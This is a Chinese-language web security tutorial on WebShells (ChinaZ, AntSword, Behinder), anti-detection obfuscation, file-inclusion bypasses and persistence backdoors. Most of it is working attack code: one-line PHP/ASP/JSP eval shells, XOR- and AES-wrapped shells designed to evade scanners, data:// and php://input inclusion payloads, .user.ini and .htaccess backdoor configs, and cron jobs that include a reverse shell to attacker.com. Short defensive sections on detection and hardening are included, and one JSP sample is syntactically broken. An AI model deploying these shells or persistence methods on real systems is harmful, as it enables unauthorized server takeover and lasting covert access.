关于Web安全:7. WebShell 管理与持久化后门
一、菜刀马
菜刀马(ChinaZ WebShell) 是一种与“中国菜刀(ChinaZ)”客户端配合使用的 WebShell 木马,广泛应用于 Web 渗透测试中,主要使用 PHP/ASP/JSP 等语言编写。
它的本质是一个一句话木马,搭配专属协议与客户端通信,执行命令、读写文件、管理数据库等操作。
1.1 菜刀马核心结构(以 PHP 为例)
最基础的一句话木马:
<?php @eval($_POST['pass']); ?>
通信流程:
-
客户端发送 HTTP 请求,POST 参数名为
pass
。 -
内容为 加密后的 PHP 代码。
-
服务端
eval($_POST['pass'])
解密并执行。
1.2 加密通信协议(菜刀专用)
数据传输流程:
-
数据格式:
POST /shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencodedpass=加密数据
默认密钥算法(早期版本):
-
通信内容一般使用简单的 base64 加密 + RC4 加密。
-
客户端可自定义通信密钥,用于加密传输数据与命令。
1.3 菜刀马功能(客户端支持)
-
文件管理(上传/下载/编辑/删除)
-
命令执行(shell)
-
数据库管理(MySQL/MSSQL/Oracle)
-
进程管理(部分 ASP 环境)
-
远程控制、反弹 shell
1.4 菜刀马分类(按语言)
语言 | 示例 | 环境 |
---|---|---|
PHP | <?php @eval($_POST['pass']); ?> | Apache/Nginx + PHP |
ASP | <% eval request("pass") %> | IIS |
JSP | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> | Tomcat |
1.5 菜刀马部署流程
-
找到上传点或命令执行点。
-
上传
shell.php
(或使用文件包含 LFI + php://input)。 -
在菜刀客户端添加目标:
-
类型选择 PHP
-
设置连接地址
-
输入与马子中一致的参数名(如:pass)
-
设置通信密码(用于加解密)
-
-
连接成功后,即可进入图形化 WebShell 管理界面。
1.6 菜刀马免杀技巧
1)变量马:
<?php $a = 'eva' . 'l'; $a($_POST['cmd']); ?>
2)异或加密马:
<?php
$key = 'abc';
$data = base64_decode($_POST['d']);
for ($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];
}
eval($data);
?>
3)POST 改为 COOKIE、GET:
<?php @eval($_COOKIE['p']); ?>
4)多层 base64 编码 + eval 组合:
<?php eval(base64_decode($_POST['p'])); ?>
1.7 查杀与防御方法
检测关键词:
-
eval、assert、base64_decode、system、shell_exec 等。
-
文件中大量 POST/Cookie 参数执行操作。
检测 WebShell 特征:
-
使用工具如 D盾、冰刃、神盾。
-
Yara 规则匹配。
防御思路:
-
禁止 eval、assert 等高危函数(
php.ini
中)。 -
使用 WAF 拦截菜刀通信特征。
-
检查 Web 根目录文件是否被新增或篡改。
-
启用 open_basedir、防止访问非授权路径。
1.8 WebShell 与菜刀通信抓包分析
抓包示例(请求):
POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencodedpass=V29yZHByZXNzIHNoZWxsIGNvbW1hbmQ=
抓包示例(响应):
HTTP/1.1 200 OK
Content-Type: text/html执行结果内容(可能已加密)
1.9 示例:自写兼容菜刀的 PHP 马(模拟)
<?php
$key = "123456"; // 通信密钥
function decrypt($data, $key) {$data = base64_decode($data);for($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];}return $data;
}eval(decrypt($_POST['pass'], $key));
?>
可以在菜刀客户端设置相同加密规则后连接该马。
1.10 小结
项目 | 内容 |
---|---|
核心形式 | 一句话木马(eval($_POST['pass'])) |
通信协议 | 自定义密钥 + Base64 或 RC4 加密 |
配合工具 | 中国菜刀(ChinaZ) |
免杀方式 | 变量马、异或马、COOKIE马、多层编码 |
检测方式 | 特征字符串、函数行为检测、Yara、日志分析 |
防御手段 | 禁止危险函数、文件完整性监控、WAF拦截 |
二、蚁剑马
蚁剑(AntSword) 是一款开源的 WebShell 管理工具,支持多种语言(PHP/ASP/JSP/ASPX),功能强大且模块化,支持插件系统,常用于 Web 渗透测试中。
蚁剑马指的是配合蚁剑客户端通信的 WebShell 后门代码。与菜刀相比,蚁剑通信协议更新、更安全,使用 JSON 格式或 AES 加密。
核心原理与通信结构
核心机制:
-
上传一个后门 WebShell(PHP/JSP/ASP)
-
设置连接参数(语言、密码、路径)
-
客户端通过 POST 请求发送加密命令
-
后门解密并执行,返回加密结果
2.1 蚁剑马结构(以 PHP 为例)
最简单 PHP 蚁剑马(明文版):
<?php
@eval($_POST['ant']);
?>
标准蚁剑马(带通信结构):
蚁剑支持多种加密方式,以下为其默认 AES 加密通信方式的 Shell:
<?php
$password = "ant";
$key = "abcdef0123456789"; // 16 字节 AES 密钥
$data = openssl_decrypt(base64_decode($_POST[$password]), 'AES-128-ECB', $key);
eval($data);
?>
在蚁剑客户端:
-
设置密码为
ant
-
加密方式为
AES
-
密钥为
abcdef0123456789
2.2 蚁剑通信协议
通信内容结构:
-
HTTP POST 请求,参数名是你设置的密码(如
ant
) -
值是 AES 加密 + base64 编码后的 PHP 命令
-
服务端接收后解密并执行
2.3 蚁剑马的类型与区别
类型 | 是否加密 | 是否加密传输 | 安全性 |
---|---|---|---|
明文马 | 否 | 否 | 极易被杀毒 |
base64马 | 是 | 否 | 中等 |
AES马(推荐) | 是 | 是 | 较强 |
2.4 蚁剑客户端功能支持
-
命令执行(Shell 控制台)
-
文件管理(上传、删除、修改、重命名)
-
数据库连接(支持 MySQL、MSSQL、Oracle)
-
插件支持(编码器、内存马、权限维持)
-
交互式终端(伪 shell)
2.5 蚁剑马免杀技巧
方法一:变量马
<?php $a = "eva"."l"; $a($_POST['p']); ?>
方法二:AES 加密(插件支持自动加密)
<?php
$key = '1234567890123456';
$data = openssl_decrypt(base64_decode($_POST['a']), 'AES-128-ECB', $key);
eval($data);
?>
方法三:混淆关键字
<?php
$func = str_rot13('rine'); // eval
$func($_POST['p']);
?>
方法四:隐藏在正常文件中(隐写)
-
插入到正常 PHP 文件末尾
-
使用图片伪装(马子改后缀为 .jpg 上传)
2.6 查杀与检测方式
工具检测:
-
D盾
-
WebShell Detector
-
神盾
-
火眼
行为检测:
-
访问频率异常(频繁 POST)
-
某个文件频繁调用
eval()、system()、shell_exec()
文件特征检测:
-
文件名异常(如 shell.php)
-
文件体积过小
-
非 UTF-8 编码
-
包含敏感关键词( 如
eval($_POST)
)
2.7 防御建议
-
禁用危险函数:
eval、assert、system、exec、shell_exec、passthru
-
对上传文件做严格校验(MIME 类型、扩展名、内容)
-
开启 WAF 拦截常见通信模式(尤其是 AES 模式 POST)
-
使用文件完整性检测(AIDE、Tripwire)
-
配置 php.ini:
disable_functions = "eval,system,passthru,shell_exec,exec,assert"
open_basedir = "/var/www/html/"
2.8 与菜刀马对比
项目 | 菜刀马 | 蚁剑马 |
---|---|---|
通信协议 | 自定义 RC4/Base64 | JSON + AES 加密 |
功能 | 丰富但老旧 | 更现代、插件支持强 |
安全性 | 较低(免杀难) | 中高(通信加密更强) |
开源程度 | 私有 | 完全开源 |
兼容性 | ASP/ASPX/PHP/JSP | PHP/ASPX/JSP(支持广) |
2.9 小结
项目 | 内容 |
---|---|
核心 | 上传后门 + 加密通信 + eval 执行 |
推荐通信方式 | AES 加密模式(安全性好) |
优点 | 插件多、功能强、安全性高 |
缺点 | 如果马被提取,仍有被破密风险 |
检测 | 关键词、函数行为、WAF 拦截、完整性检测 |
免杀 | 使用变量马、AES 加密马、伪装文件等方式 |
三、冰蝎马
冰蝎(Behinder)是一款国产高级 WebShell 管理工具,支持 PHP、JSP、ASP.NET 等语言,最大的特点是:
-
全部通信加密(AES)
-
采用动态类加载(Java Class)或内存加载
-
可自动注入内存马
-
配合反序列化利用,实现无文件控制
冰蝎马 ≠ 一句话木马,而是一个具备完整通信协议和恶意代码注入逻辑的高隐蔽性控制后门。
3.1 冰蝎的通信原理
核心特性:
-
AES 加密通信(CBC 模式)
-
数据以
byte[]
传输 -
客户端和服务端都有通信模块,使用自定义协议
冰蝎默认配置:
参数 | 示例值 |
---|---|
密码 | rebeyond |
AES 密钥 | 16 字节密钥(由密码派生) |
加密方式 | AES/CBC/PKCS5Padding |
数据编码 | base64 -> byte[] -> AES -> base64 |
3.2 冰蝎马结构(以 JSP 为例)
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%
String k = "e45e329feb5d925b"; // AES 密钥
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec skey = new SecretKeySpec(k.getBytes(), "AES");
IvParameterSpec iv = new IvParameterSpec(k.getBytes());
c.init(Cipher.DECRYPT_MODE, skey, iv);
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("payload")));
new java.lang.reflect.Method().invoke(data);
%>
-
客户端发送 AES 加密后的 Java 字节码(Class)
-
服务端解密,使用反射或 ClassLoader 加载执行
3.3 冰蝎马的类型
类型 | 描述 |
---|---|
JSP 内存马 | 把恶意类动态加载进 JVM 内存 |
ASP.NET Webshell | 执行 .NET 编译类的 byte[] 形式 |
PHP Shell | 用 base64+AES 加密的方式传输 PHP 代码 |
Memory Shell(内存马) | Servlet/Filter/Listener 注入内存,持久驻留 |
ShellCode(CobaltStrike 联动) | 提供反弹、注入、内存提权功能 |
3.4 冰蝎马的优势
优点 | 说明 |
---|---|
完全加密通信 | 无法直接抓包分析 |
无文件落地(内存执行) | 对抗查杀强 |
支持内存马注入 | 可实现持久化控制 |
插件系统强大 | 文件管理、数据库、反弹 Shell、横向移动 |
多语言支持 | PHP、JSP、ASPX、Go 等 |
3.5 冰蝎免杀原理
冰蝎本身难免杀的关键有两点:
通信加密:
-
所有指令和数据都用 AES 加密,拦截器/WAF 难以提取明文特征
反射执行 + 动态类加载:
-
加载字节码类到内存,动态执行,不落地磁盘
无明显关键词:
-
文件中几乎没有
eval
、system
等高危函数
3.6 查杀与检测方式
行为检测:
-
请求量异常集中、访问频繁
-
某 JSP/PHP 长时间驻留内存
-
反射加载类的行为异常(ClassLoader 被调用)
文件扫描:
-
JSP 文件中存在 AES 解密器
-
存在大量 byte[] 处理、base64 处理、cipher 调用
内存扫描(关键):
-
使用开源工具,如:
-
MemoryShellHunter
-
冰蝎查杀器
-
Sojson JSP 探针
-
蚁剑联合插件
-
3.7 防御建议
方法 | 实施方式 |
---|---|
WAF 检测 | 对 POST 请求体、AES 加密特征、classloader 调用进行分析 |
文件监控 | 文件哈希、修改时间监控,JSP 代码静态分析 |
内存检测 | 使用 Java Agent、JVM Attach 检测 Filter/Servlet 注入 |
禁止类加载反射 | 限制调用 defineClass 、defineClass0 等 |
最小权限原则 | 限制 Web 用户权限、防止写入临时目录 |
3.8 实战举例:冰蝎 JSP 内存马注入流程
-
风险点上传冰蝎 JSP Shell
-
连接后注入内存马(Filter型)
-
删除原始 JSP 文件(Shell 仍可用)
-
冰蝎客户端继续连接,控制不掉线
-
实现持久控制 + 横向拓展
3.9 和蚁剑/菜刀对比总结
项目 | 菜刀马 | 蚁剑马 | 冰蝎马 |
---|---|---|---|
通信协议 | 明文/RC4 | AES/Base64 | AES-CBC |
加密强度 | 弱 | 中 | 强 |
是否落地 | 是 | 是 | 可无落地(内存马) |
控制强度 | 中 | 强 | 极强 |
检测难度 | 容易 | 中 | 难 |
插件功能 | 普通 | 丰富 | 非常丰富 |
支持语言 | PHP/ASP/JSP | 多种 | 多种 + 内存注入 |
3.10 小结
分类 | 说明 |
---|---|
核心原理 | AES 加密 + 类加载 + 内存注入 |
难点 | 无明显关键字、行为完全动态 |
检测方法 | 内存扫描、ClassLoader 检测、JVM Hook |
防御建议 | WAF + Host 安全 + 内存防护(Attach 检测) |
四、WebShell 免杀技巧
WebShell 一旦被上传或植入,面临安全软件/防护系统的检测(WAF、杀软、规则引擎),尤其是:
检测方式 | 举例 |
---|---|
特征匹配 | eval($_POST['a']) 、system($_GET['cmd']) |
正则识别 | 可疑函数、短变量名、长 POST 数据 |
行为检测 | 非标准请求、反射加载、动态函数名执行 |
为此,需要对 WebShell 做“变形”处理,变得 更隐蔽、更分散、动态执行,从而达到免杀目的。
4.1 变量马(变量函数执行)
原理:将危险函数(如 eval
、assert
、system
等)用变量名间接引用执行,避免静态特征命中。
示例代码(PHP):
<?php
$a = 'assert';
$b = $_POST['cmd'];
$a($b); // 等价于:assert($_POST['cmd']);
?>
或者混淆变量名:
<?php
$func = "eva" . "l"; // 拼接
$func($_POST['cmd']);
?>
常见变体:
技术 | 示例 |
---|---|
函数名拼接 | $f = 'sy'.'stem'; $f($_GET['cmd']); |
参数名伪装 | $b = $_POST['config']; $f($b); |
动态执行方式 | call_user_func($f, $b); |
优点:
-
对抗静态特征匹配(如 WAF 检测规则)
-
躲避代码审计工具
-
逻辑简单,稳定易用
缺点:
-
WAF/EDR 可结合语义分析检测
-
仍易被人工审计识别
4.2 异或马(加密执行)
原理:使用异或、base64、hex 等方式将真实 Payload 加密,运行时解密后执行,可实现弱加密 + 动态执行。
示例代码(异或):
<?php
$key = 'k'; // 异或密钥
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $key;
}eval($code);
?>
客户端执行:
// 客户端示例:将命令异或后 POST 发送
$payload = "phpinfo();";
$key = 'k';
$xor = '';for ($i = 0; $i < strlen($payload); $i++) {$xor .= $payload[$i] ^ $key;
}echo base64_encode($xor); // -> POST 到 WebShell
常见加密方式:
方法 | 说明 |
---|---|
base64 | eval(base64_decode($_POST['cmd'])); |
str_rot13 | eval(str_rot13($_POST['code'])); |
gzuncompress | eval(gzuncompress(base64_decode(...))) |
异或加密 | for 循环 + eval |
RC4 自定义实现 | 加密强度更高,绕过率更强 |
优点:
-
躲避字符串特征匹配
-
运行时解密,提高动态隐蔽性
-
可写成多层加密(套娃式免杀)
缺点:
-
性能略低
-
高级查杀软件可解密还原(如 D盾、冰刃)
4.3 变量马 + 异或马(组合型)
示例:
<?php
$func = "as" . "sert";
$k = 'x';
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $k;
}$func($code);
?>
特点:
-
函数名绕过(变量拼接)
-
Payload 加密(异或)
-
解密后执行(动态执行)
这种组合马免杀率非常高,很多初级检测工具和规则完全看不出来。
4.4 其他免杀技巧补充
技巧 | 示例 |
---|---|
自定义函数 | function go($x){eval($x);} go($_POST['cmd']); |
使用 call_user_func() | call_user_func('eval', $_POST['x']); |
使用 array_map() | array_map('assert', [$_POST['cmd']]); |
拼接危险代码再执行 | $x = 'ev'.'al'; $x($_POST['cmd']); |
使用 preg_replace('/.*/e', ...) | 已废弃,但历史代码中常见 |
4.5 免杀效果评估建议
本地测试工具:
工具 | 用途 |
---|---|
D盾 | 静态扫描常见木马特征 |
冰刃 | 行为检测、进程通信监控 |
PhpStorm 插件 | 可做代码审计和语义分析 |
手动逆向分析 | 解密异或/多层加密马 |
YARA | 写规则对比函数调用/语义特征 |
总结免杀技巧关键点:
项目 | 说明 |
---|---|
变量马 | 使用变量名代替敏感函数名执行 |
异或马 | 使用简单加密隐藏真实 Payload |
组合型 | 将变量执行 + 异或加密组合使用 |
多层马 | base64 + 异或 + 函数拼接 + gzip 叠加免杀 |
行为伪装 | 添加正常逻辑、页面元素、变量名混淆 |
五、文件包含与加载绕过
5.1 基本概念:文件包含
文件包含是指服务端在执行某个脚本时,通过 PHP 函数如 include
/ require
/ include_once
/ require_once
动态加载另一个文件内容来执行。
include("shell.php");
攻击者若控制了被包含文件的路径或内容,就可以:
-
执行恶意代码(植入 WebShell)
-
绕过 Web 应用主逻辑控制
-
实现权限维持
5.2 常见加载方式及绕过技巧
1)利用弱类型变量包含(变量包含)
include($_GET['file']); // file=shell.php
如果没有白名单校验,可以直接传入任意文件路径。
绕过方式:
方法 | 示例 |
---|---|
路径绕过 | file=../../../../../tmp/shell.txt |
编码绕过 | file=php://filter/convert.base64-encode/resource=shell.php |
协议绕过 | file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+ (base64 编码的PHP代码) |
2)利用伪协议绕过加载限制
PHP 支持很多“伪协议”,可用于执行、读取非文件资源,比如:
协议 | 用途 |
---|---|
php://input | 读取原始 POST 数据 |
php://filter | 对文件内容进行转码(如 base64 编码) |
data:// | 执行 base64 编码内容 |
zip:// | 加载压缩包内的 PHP 文件 |
expect:// | 在某些环境中用于执行 shell 命令(常被禁) |
示例:
include('php://input');
此时你可以通过 POST 提交任意 PHP 代码:
POST /index.php
Content-Type: text/plain<?php eval($_POST['cmd']); ?>
服务器读取 php://input
,就执行了 POST 数据内的 WebShell。
3)使用 base64 + php://filter 绕过静态检测
include("php://filter/convert.base64-encode/resource=shell.php");
然后再将 base64 内容通过另一段代码 eval(base64_decode(...))
解析执行。
这个技巧可以:
-
对抗 WebShell 特征扫描(D盾无法匹配原始内容)
-
配合动态执行 payload
4)使用 data:// 协议内嵌马
include("data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+");
等价于:
<?php system($_GET['c']); ?>
原始代码经过 base64 编码后被嵌入 URL 中,绕过上传限制与查杀。
5.3 文件包含结合免杀使用方式
- 主页面只有一行加载代码:
include('1.dat');
-
而
1.dat
文件的后缀是.dat
,不会被安全设备识别为可执行 PHP 文件,但内容实际是加密的 PHP WebShell。 -
解密过程通过主页面来执行,例如:
$content = file_get_contents('1.dat');
eval(xor_decode($content));
这样可以:
-
把马藏在任意后缀文件中(非 .php)
-
通过加载解密后执行,达成隐蔽目的
5.4 上传限制绕过 + 文件包含配合
在文件上传限制中,若不能直接上传 .php
文件,可以上传 .jpg
、.txt
等文件:
-
上传:马文件为
shell.jpg
内容为:<?php system($_GET['cmd']); ?>
-
然后:用文件包含执行它
include('uploads/shell.jpg'); // 实际执行里面的 PHP 代码
注意:服务器必须未禁用 PHP 的 short_open_tag
或 allow_url_include
,否则会失败。
5.5 实战技巧组合
目标 | 技术组合 |
---|---|
免杀 | WebShell 放在 .dat/.log,用 php://filter 或 file_get_contents 解密 |
隐蔽 | 用 include($a) 动态包含,路径用 base64/异或加密 |
上传绕过 | 上传伪后缀木马(.jpg、.pdf),然后利用包含加载执行 |
单文件加载多个马 | 主文件中使用数组遍历加载多个 payload 文件,实现多点控制 |
5.6 防御方的检测方式
检测点 | 方法 |
---|---|
静态扫描 | 查找敏感函数:include($_GET) 、eval(file_get_contents()) 等 |
动态行为检测 | 检测包含伪协议的行为,禁用 allow_url_include |
WAF 规则 | 识别 php:// , data:// 等关键协议关键字 |
上传控制 | 限制上传目录执行权限 + 校验内容头部特征 |
审计 | 分析加载链,发现隐藏的木马入口文件 |
5.7 小结
点位 | 描述 |
---|---|
文件包含马 | 将恶意代码放在非主马中,通过 include 加载执行 |
伪协议加载 | 使用 php://input 、php://filter 、data:// 绕过常规检测 |
文件伪装 | 将马伪装成 .jpg/.txt/.dat,再通过加载方式执行 |
加密加载 | WebShell 加密存储,运行时解密加载执行,提升免杀性 |
六、后门维持权限的方式
为什么需要权限维持?
当攻击者成功上传 WebShell 或 RCE 后,并不意味着永远控制了主机。管理员可能:
-
杀掉进程 / 删除文件
-
关闭上传风险点
-
重启服务清除环境
所以攻击者会留下「隐蔽持久后门」以便未来再次进入。
6.1 方式一:.user.ini
权限维持后门
.user.ini
是 PHP 的用户级配置文件,专用于 CGI/FPM 模式。
使用方法:
可以写入指令修改当前目录或子目录的 PHP 配置行为。
示例一:自动加载后门
payload:
.user.ini
中写入:
auto_prepend_file = "shell.php"
意思是:在该目录下的所有 PHP 文件执行前,都会先执行 shell.php
。
作用:
-
shell.php
中可以是木马 -
管理员删除原始 WebShell 页面也没用
-
你访问任何页面,木马都先被执行了
示例二:加载隐藏木马(结合免杀)
auto_prepend_file = "php://filter/convert.base64-decode/resource=hidden.dat"
然后 hidden.dat
是 base64 编码的 WebShell。
这样可以配合免杀进行隐蔽控制。
6.2 方式二:.htaccess
权限维持后门
.htaccess
是 Apache 的目录配置文件,可以控制访问逻辑、解析规则。
使用方式:
通过配置 .htaccess
强行让非 .php
文件被当作 PHP 执行。
示例一:改解析规则
AddType application/x-httpd-php .jpg
意思是:让 .jpg
文件当作 PHP 来执行。
然后你上传一个名为 shell.jpg
的 WebShell,就能被执行。
示例二:隐藏 WebShell 路径
RewriteEngine On
RewriteRule ^admin$ shell.php
访问 /admin
实际会加载 shell.php
,达成路径伪装效果。
6.3 方式三:计划任务维持后门
系统级后门的一种方式,尤其用于 Linux 主机或拥有 root 权限的情况。
Linux 中使用 crontab
创建定时任务
crontab -e
添加:
*/5 * * * * php /var/www/html/shell.php
每 5 分钟执行一次 WebShell。
哪怕管理员删了 WebShell,计划任务也可以:
-
自动恢复上传马子
-
下载远程 payload
-
或打开反弹 Shell
示例:反弹 Shell 恢复权限
*/10 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
-
每 10 分钟给攻击者服务器反弹一个 Shell
-
保证你即使被踢也能重连回来
如果是 root 权限,还可以写系统启动项:
echo "@reboot php /var/www/shell.php" >> /etc/crontab
系统一重启,你的 WebShell 又被加载回来。
6.4 其他持久化方法简略一览
方法 | 简介 |
---|---|
修改系统启动项 | 写入 /etc/init.d/ 、/etc/rc.local ,开机自启动 WebShell |
数据库后门 | 在 MySQL trigger 或存储过程插入反弹 Shell |
PHP session 持久化 | 将 WebShell 写入 session 临时文件 |
上传木马到计划任务目录 | 比如写入 /etc/cron.hourly/evil.sh |
修改系统文件 | 替换 /usr/bin/php 等工具,在使用中植入后门 |
远程加载马子 | 留下一句话马,加载远程 payload,每次动态获取马体 |
6.5 配合其他技巧增强隐蔽性
-
.user.ini
+ 加密加载马 + base64 编码 -
.htaccess
+.png
马伪装成图片访问 -
计划任务 + WebShell 自动恢复脚本
-
上传后门 + 文件包含动态执行 + XOR 加密马体
6.6 防御角度:如何检测和清理?
项目 | 检测方法 |
---|---|
.user.ini | 查找是否有 auto_prepend_file 、auto_append_file |
.htaccess | 是否改了文件后缀解析或设置了 Rewrite |
crontab | 查看 crontab -l 、/etc/cron* 是否有恶意任务 |
隐藏马 | 查日志 + 比对文件时间 + 杀毒工具(D盾、ClamAV) |
开机启动 | 查 /etc/rc.local 、systemd 、init.d |
6.7 小结
类型 | 技术 | 隐蔽性 | 持久性 | 风险 |
---|---|---|---|---|
.user.ini | 自动加载马 | 高 | 高 | 中 |
.htaccess | 文件伪装 + 重定向 | 高 | 中 | 中 |
计划任务 | 定时恢复后门 / 反弹 Shell | 中 | 高 | 高 |